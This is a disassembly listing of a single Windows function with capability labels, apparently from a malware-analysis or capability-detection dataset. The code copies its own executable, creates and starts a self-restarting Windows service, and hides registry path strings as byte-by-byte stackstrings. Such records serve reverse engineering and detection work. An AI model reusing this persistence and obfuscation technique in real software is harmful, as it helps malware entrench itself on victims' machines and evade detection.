Function at 0x409e06
Capabilities:
Contain obfuscated stackstrings
Copy file
Create service
Modify service
Persist via windows service
Set registry value
Start service

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x40e090
push 0x40b630
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
add esp, 0xfffffc74
push ebx
push esi
push edi
mov byte [ebp - 0x328], 0
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x327]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push 0x104
lea eax, [ebp - 0x328]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov byte [ebp - 0x334], 0x25
mov byte [ebp - 0x333], 0x73
mov byte [ebp - 0x332], 0
mov ecx, dword [ebp + 8]
push ecx
lea edx, [ebp - 0x334]
push edx
lea eax, [ebp - 0x220]
push eax
call sub.MSVCRT.dll_sprintf
add esp, 0xc
lea ecx, [ebp - 0x220]
push ecx
mov ecx, dword [0x410450]
call fcn.00401046
push eax
lea edx, [ebp - 0x328]
push edx
lea eax, [ebp - 0x220]
push eax
mov ecx, dword [0x410450]
call fcn.00401050
test eax, eax
je 0x409f1b
lea ecx, [ebp - 0x220]
push ecx
call fcn.004010f0
add esp, 4
push 0
lea edx, [ebp - 0x220]
push edx
lea eax, [ebp - 0x328]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
lea ecx, [ebp - 0x220]
push ecx
call fcn.0040104b
add esp, 4
push 0x104
push 0
lea edx, [ebp - 0x328]
push edx
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 0x220]
push eax
lea ecx, [ebp - 0x328]
push ecx
mov ecx, dword [0x410450]
call fcn.004010e1
movsx edx, byte [0x40faa0]
cmp edx, 1
jne 0x409f2c
jmp 0x40a333
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [ebp - 0x224], 0
mov dword [ebp - 0x330], 0
mov dword [ebp - 0x32c], 0
mov dword [ebp - 4], 0
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov dword [ebp - 0x32c], eax
cmp dword [ebp - 0x32c], 0
jne 0x409f7f
jmp 0x40a2e2
push 0
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x328]
push eax
push 0
push 2
push 0x110
push 0xf01ff
mov ecx, dword [ebp + 0x10]
push ecx
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp - 0x32c]
push eax
call dword [sym.imp.ADVAPI32.dll_CreateServiceA]
mov dword [ebp - 0x330], eax
mov ecx, dword [ebp - 0x32c]
push ecx
call dword [sym.imp.ADVAPI32.dll_LockServiceDatabase]
mov dword [ebp - 0x378], eax
mov edx, dword [ebp + 0x10]
mov dword [ebp - 0x338], edx
lea eax, [ebp - 0x338]
push eax
push 1
mov ecx, dword [ebp - 0x330]
push ecx
call dword [sym.imp.ADVAPI32.dll_ChangeServiceConfig2A]
mov dword [ebp - 0x38c], 0
xor edx, edx
mov dword [ebp - 0x388], edx
mov dword [ebp - 0x384], edx
mov dword [ebp - 0x380], edx
mov dword [ebp - 0x37c], edx
mov dword [ebp - 0x388], 0
mov dword [ebp - 0x38c], 0x15180
mov dword [ebp - 0x34c], 0x1b58
mov dword [ebp - 0x350], 1
mov dword [ebp - 0x344], 0
mov dword [ebp - 0x348], 1
mov dword [ebp - 0x33c], 0
mov dword [ebp - 0x340], 1
mov dword [ebp - 0x380], 3
lea eax, [ebp - 0x350]
mov dword [ebp - 0x37c], eax
mov dword [ebp - 0x384], 0
lea ecx, [ebp - 0x38c]
push ecx
push 2
mov edx, dword [ebp - 0x330]
push edx
call dword [sym.imp.ADVAPI32.dll_ChangeServiceConfig2A]
push str.UnlockServiceDatabase
push str.ADVAPI32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x39c], eax
mov eax, dword [ebp - 0x378]
push eax
call dword [ebp - 0x39c]
cmp dword [ebp - 0x330], 0
jne 0x40a110
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x431
jne 0x40a110
push 0xf01ff
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp - 0x32c]
push edx
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov dword [ebp - 0x330], eax
cmp dword [ebp - 0x330], 0
jne 0x40a0ff
jmp 0x40a2e2
push 0
push 0
mov eax, dword [ebp - 0x330]
push eax
call dword [sym.imp.ADVAPI32.dll_StartServiceA]
push 0
push 0
mov ecx, dword [ebp - 0x330]
push ecx
call dword [sym.imp.ADVAPI32.dll_StartServiceA]
test eax, eax
jne 0x40a12a
jmp 0x40a2e2
mov byte [ebp - 0x374], 0x53
mov byte [ebp - 0x373], 0x59
mov byte [ebp - 0x372], 0x53
mov byte [ebp - 0x371], 0x54
mov byte [ebp - 0x370], 0x45
mov byte [ebp - 0x36f], 0x4d
mov byte [ebp - 0x36e], 0x5c
mov byte [ebp - 0x36d], 0x43
mov byte [ebp - 0x36c], 0x75
mov byte [ebp - 0x36b], 0x72
mov byte [ebp - 0x36a], 0x72
mov byte [ebp - 0x369], 0x65
mov byte [ebp - 0x368], 0x6e
mov byte [ebp - 0x367], 0x74
mov byte [ebp - 0x366], 0x43
mov byte [ebp - 0x365], 0x6f
mov byte [ebp - 0x364], 0x6e
mov byte [ebp - 0x363], 0x74
mov byte [ebp - 0x362], 0x72
mov byte [ebp - 0x361], 0x6f
mov byte [ebp - 0x360], 0x6c
mov byte [ebp - 0x35f], 0x53
mov byte [ebp - 0x35e], 0x65
mov byte [ebp - 0x35d], 0x74
mov byte [ebp - 0x35c], 0x5c
mov byte [ebp - 0x35b], 0x53
mov byte [ebp - 0x35a], 0x65
mov byte [ebp - 0x359], 0x72
mov byte [ebp - 0x358], 0x76
mov byte [ebp - 0x357], 0x69
mov byte [ebp - 0x356], 0x63
mov byte [ebp - 0x355], 0x65
mov byte [ebp - 0x354], 0x73
mov byte [ebp - 0x353], 0x5c
mov byte [ebp - 0x352], 0
lea edx, [ebp - 0x374]
push edx
lea eax, [ebp - 0x11c]
push eax
mov ecx, dword [0x410450]
call fcn.004010e1
mov ecx, dword [ebp + 0xc]
push ecx
lea edx, [ebp - 0x11c]
push edx
mov ecx, dword [0x410450]
call fcn.0040119a
lea eax, [ebp - 0x224]
push eax
lea ecx, [ebp - 0x11c]
push ecx
push connect
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
mov byte [ebp - 0x398], 0x44
mov byte [ebp - 0x397], 0x65
mov byte [ebp - 0x396], 0x73
mov byte [ebp - 0x395], 0x63
mov byte [ebp - 0x394], 0x72
mov byte [ebp - 0x393], 0x69
mov byte [ebp - 0x392], 0x70
mov byte [ebp - 0x391], 0x74
mov byte [ebp - 0x390], 0x69
mov byte [ebp - 0x38f], 0x6f
mov byte [ebp - 0x38e], 0x6e
mov byte [ebp - 0x38d], 0
mov edx, dword [ebp + 0x14]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
mov eax, dword [ebp + 0x14]
push eax
push 1
push 0
lea ecx, [ebp - 0x398]
push ecx
mov edx, dword [ebp - 0x224]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov dword [ebp - 4], 0xffffffff
call fcn.0040a2f0
jmp 0x40a333
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret